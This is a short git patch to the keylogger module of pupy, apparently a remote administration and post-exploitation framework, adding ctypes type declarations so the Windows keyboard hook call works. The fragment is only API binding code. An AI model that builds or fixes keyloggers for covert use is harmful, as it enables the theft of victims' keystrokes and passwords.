From 0dff44d339ff3afcef166b2568fd1d467129b2da Mon Sep 17 00:00:00 2001
From: Alessandro ZANNI <alessandro.zanni@bt.com>
Date: Thu, 28 Jul 2016 17:53:56 +0200
Subject: [PATCH] fix keylogger issue

---
 pupy/packages/windows/all/pupwinutils/keylogger.py | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pupy/packages/windows/all/pupwinutils/keylogger.py b/pupy/packages/windows/all/pupwinutils/keylogger.py
index adf60018..a384426d 100644
--- a/pupy/packages/windows/all/pupwinutils/keylogger.py
+++ b/pupy/packages/windows/all/pupwinutils/keylogger.py
@@ -59,7 +59,10 @@ VK_RETURN       = 0x0D # ENTER key
 VK_ESCAPE       = 0x1B
 
 # Base Win API
-SetWindowsHookEx    = user32.SetWindowsHookExW
+SetWindowsHookEx = user32.SetWindowsHookExW
+SetWindowsHookEx.argtypes = (c_int, HOOKPROC, HINSTANCE, DWORD)
+SetWindowsHookEx.restype = HHOOK
+
 UnhookWindowsHookEx = user32.UnhookWindowsHookEx
 CallNextHookEx      = user32.CallNextHookEx
 GetMessage          = user32.GetMessageW